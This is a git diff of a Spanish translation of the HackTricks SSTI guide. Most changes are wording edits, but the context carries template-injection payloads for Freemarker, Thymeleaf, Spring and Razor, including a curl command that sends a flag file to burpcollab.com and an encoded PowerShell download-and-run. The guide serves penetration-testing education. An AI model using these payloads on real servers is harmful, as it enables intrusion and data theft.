Translated ['pentesting-web/ssti-server-side-template-injection/README.m

This commit is contained in:
Translator 2024-03-26 07:58:42 +00:00
parent 612bf87bc0
commit 962c2fff1f

View file

@ -10,7 +10,7 @@ Otras formas de apoyar a HackTricks:
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -36,7 +36,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
```
El payload `{{bad-stuff-here}}` se inyecta en el parámetro `name`. Este payload puede contener directivas de plantilla Jinja que permiten al atacante ejecutar código no autorizado o manipular el motor de plantillas, potencialmente obteniendo control sobre el servidor.
Para prevenir vulnerabilidades de inyección de plantillas en el servidor, los desarrolladores deben asegurarse de que la entrada del usuario esté correctamente sanitizada y validada antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.
Para prevenir vulnerabilidades de inyección de plantillas en el servidor, los desarrolladores deben asegurarse de que la entrada del usuario se sanea y valida correctamente antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.
### Detección
@ -44,18 +44,18 @@ Para detectar la Inyección de Plantillas en el Servidor (SSTI), inicialmente, *
- Errores arrojados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
- Ausencia de la carga en la reflexión, o partes faltantes, lo que implica que el servidor la procesa de manera diferente a los datos regulares.
- **Contexto de Texto sin formato**: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
- **Contexto de Texto sin formato**: Distinguir de XSS comprobando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
- **Contexto de Código**: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiar `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
#### Fase de Identificación
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos del lenguaje. Los payloads comunes que causan errores incluyen `${7/0}`, `{{7/0}}` y `<%= 7/0 %>`. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos de lenguaje. Los payloads comunes que causan errores incluyen `${7/0}`, `{{7/0}}` y `<%= 7/0 %>`. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
## Herramientas
### [TInjA](https://github.com/Hackmanit/TInjA)
un escáner eficiente de SSTI + CSTI que utiliza políglotos novedosos
un escáner eficiente de SSTI + CSTI que utiliza políglotas novedosos
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@ -63,8 +63,8 @@ tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123...
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
```
### [Tplmap](https://github.com/epinna/tplmap)
```python
@ -122,7 +122,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - Bypass de sandbox**
**Freemarker - Bypass de la caja de arena**
⚠️ solo funciona en versiones de Freemarker anteriores a 2.3.30
```java
@ -180,7 +180,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, el _inlineado de expresiones_ es compatible para otras ubicaciones de plantillas, utilizando sintaxis como `[[...]]` o `[(...)]`. Por lo tanto, un simple payload de prueba de SSTI en Thymeleaf podría verse así: `[[${7*7}]]`.
Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, el _inlineado de expresiones_ es compatible para otras ubicaciones de plantillas, utilizando sintaxis como `[[...]]` o `[(...)]`. Por lo tanto, un simple payload de prueba de SSTI podría verse como `[[${7*7}]]`.
Sin embargo, la probabilidad de que este payload funcione generalmente es baja. La configuración predeterminada de Thymeleaf no admite la generación dinámica de plantillas; las plantillas deben estar predefinidas. Los desarrolladores deberían implementar su propio `TemplateResolver` para crear plantillas a partir de cadenas sobre la marcha, lo cual es poco común.
@ -190,7 +190,7 @@ Thymeleaf también ofrece _preprocesamiento de expresiones_, donde las expresion
```
**Ejemplo de Vulnerabilidad en Thymeleaf**
Considere el siguiente fragmento de código, que podría ser susceptible a explotación:
Considere el siguiente fragmento de código, el cual podría ser susceptible a explotación:
```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
@ -294,7 +294,7 @@ Nueva versión de Pebble:
```
### Jinjava (Java)
Jinjava es un motor de plantillas Java que admite la inyección de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar código arbitrario en el servidor afectado.
Jinjava es un motor de plantillas Java que admite la inyección de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar código remoto en el servidor afectado.
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
@ -739,7 +739,7 @@ home = pugjs.render(injected_page)
### Python
Consulta la siguiente página para aprender trucos sobre **burlar las cajas de arena de ejecución de comandos arbitrarios** en Python:
Consulta la siguiente página para aprender trucos sobre **burlar ejecución de comandos arbitrarios evitando cajas de arena** en python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -854,7 +854,7 @@ ${x}
* `@(1+2)`
* `@( //Código C# )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");`
El método `.NET` `System.Diagnostics.Process.Start` se puede utilizar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
@ -896,9 +896,9 @@ En el motor de plantillas de Go, la confirmación de su uso se puede hacer con p
**Explotación de XSS**
Con el paquete `text/template`, XSS puede ser directo al insertar el payload directamente. Por el contrario, el paquete `html/template` codifica la respuesta para evitar esto (por ejemplo, `{{"<script>alert(1)</script>"}}` resulta en `&lt;script&gt;alert(1)&lt;/script&gt;`). Sin embargo, la definición e invocación de plantillas en Go pueden evitar esta codificación: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Con el paquete `text/template`, XSS puede ser directo al insertar el payload directamente. Por el contrario, el paquete `html/template` codifica la respuesta para evitar esto (por ejemplo, `{{"<script>alert(1)</script>"}}` resulta en `&lt;script&gt;alert(1)&lt;/script&gt;`). Sin embargo, la definición e invocación de plantillas en Go puede evitar esta codificación: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
vbnet Copiar código
**Explotación de RCE**
@ -960,8 +960,8 @@ Si crees que podría ser útil, lee:
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).